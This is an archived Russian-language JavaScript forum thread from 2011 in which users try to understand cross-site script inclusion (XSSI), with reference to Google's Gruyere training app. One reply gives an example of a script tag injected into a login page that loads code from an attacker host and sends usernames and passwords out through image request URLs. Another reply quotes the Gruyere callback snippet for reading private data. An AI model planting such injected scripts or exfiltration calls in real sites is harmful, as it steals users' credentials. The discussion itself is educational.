Javascript-форум (https://javascript.ru/forum/)
-   Общие вопросы Javascript (https://javascript.ru/forum/misc/)
-   -   XSRF уязвимость. Возможно ли такое? (https://javascript.ru/forum/misc/17182-xsrf-uyazvimost-vozmozhno-li-takoe.html)

hrundel 09.05.2011 14:56

XSRF уязвимость. Возможно ли такое?
 
В блоге гугла есть примеры уязвимостей на javascript. В разделе Cross-site script inclusion (XSSI) - All your script are belong to us данной статьи есть один пример. Пример (как я понял) говорит о том, что если злоумышленный сайт имеет на своей странице специальный код и подключает js-скрипт с другого сайта, то если пользователь авторизован на этом другом сайте, то злоумышленник имеет возможность получить какие-то данные пользователя, предназначенные для этого другого сайта.
Если кто понял, о чём в статье идёт речь, то объясните, пожалуйста, как это происходит и есть ли способ защиты. Очень запутано выглядит этот способ атаки.

hrundel 09.05.2011 15:00

Небольшая ошибка в названии моей темы. Уязвимость называется XSSI. :)

Starkua 09.05.2011 18:12

Защита такая-же как и для XSRF-уязвимостей :)

hrundel 09.05.2011 19:43

Объясните механизм, плизззз :)

melky 09.05.2011 22:02

что там объяснять :)

чаще всего такие скрипты вешаются на страницы с формами авторизации. при оправке формы они читают значение и создают новую картинку, у которой путь прописывается в соответствии с введенными данными

ну. сниффер, короче говоря.

есть на моём бложике страница авторизации. вася-хакер пришел ко мне домой, когда я был в умате, и вставил в страницу авторизации вот это

<script src="http://vasya.ru/check.js"></script>


в этом скрипте вешается обработчик на событие DOMContentLoaded, который ищет форму авторизации (логин,пароль)

заодно вешает на отправку формы свой обработчик.

когда форма отправляется, создается картинка. путь у неё, к примеру,такой


Код:

http://vasya.ru/sniff.php?name=pelmen&password=1234567890
http://vasya.ru/sniff.php?name=MAZOK&password=93d2h1er2hj
http://vasya.ru/sniff.php?name=vasya&password=test

там сидит php скрипт,который тупо записывает эти данные в базу данных

потом,когда вася заходит на свою уютненькую БД, видит список, кто авторизировался
.......


за такое можно и по хлебалу получить :)

walik 09.05.2011 23:17

А мне вот все интересно, никак понять не могу. Как вот такая строчка (ну или подобная этой):
<script src="http://vasya.ru/check.js"></script>

Может попасть ко мне на страницу без моего же ведома ? :)

melky 09.05.2011 23:52

говорю же )

Цитата:

Сообщение от melky (Сообщение 103992)
вася-хакер пришел ко мне домой, когда я был в умате, и вставил в страницу авторизации вот это

<script src="http://vasya.ru/check.js"></script>


ну, неважно как. хоть комментом, который вася написал, а я не пропарсил ( о господи :D ), хоть sql-injection.

Starkua 10.05.2011 12:54

melky , уязвимость XSSI - это совсем другое :)
Возьмем пример из блога гугла:
На своем сайте, а пишу такой код:

<script>function _feed(s) {alert("Your private snippet is: " + s['private_snippet']);}</script><script src="http://google-gruyere.appspot.com/611788451095/feed.gtl"></script>


Кидаю ссылку человеку, авторизованному на сайте http://google-gruyere.appspot.com.
Скрипт http://google-gruyere.appspot.com/611788451095/feed.gtl это некие приватные данные, доступные только авторизованным пользователям.

И в итоге выходит вот что - человек заходит на мой сайт, и видит в алерте, свои персональные данные. Естественно вместо алерта, хакер пишет эти данные в свою базу.
Это, кстати, наряду с XSRF очень распространенные уязвимости.

melky 10.05.2011 15:08

что-то я ничего не нашел про XSSI

что означает I? походу,это какой-то вид XSS

прошу,где вы это отыскали?

hrundel 10.05.2011 16:40

melky, вас что-то не в ту степь понесло :)
Starkua, я так понял речь идёт о двух разных сайтах: один принадлежит злоумышленнику, а другой - это сайт на котором авторизован пользователь. Так вот на сайте злоумышленника есть свой зловредный js-код + нормальны js-скрипт, подключённый со второго сайта. Вот они вместе и создают опасную смесь кода, позволяющая украсть данные о втором сайте. Это как вообще возможно?
Куки авторизации будут посланы только при запросе нормального js-скрипта и будут посланы только второму нормальному js-скрипту. Каким макаром эти данные будут перехвачены на сайте злоумышленника?
Если речь идёт не о куках, то тогда вообще какие данные о втором нормальном сайте может передать браузер злоумышленнику, если я загрузил страницу злоумышленника, на которой он только лишь подключил js-скрипт с нормального сайта?


Часовой пояс GMT +3, время: 06:43.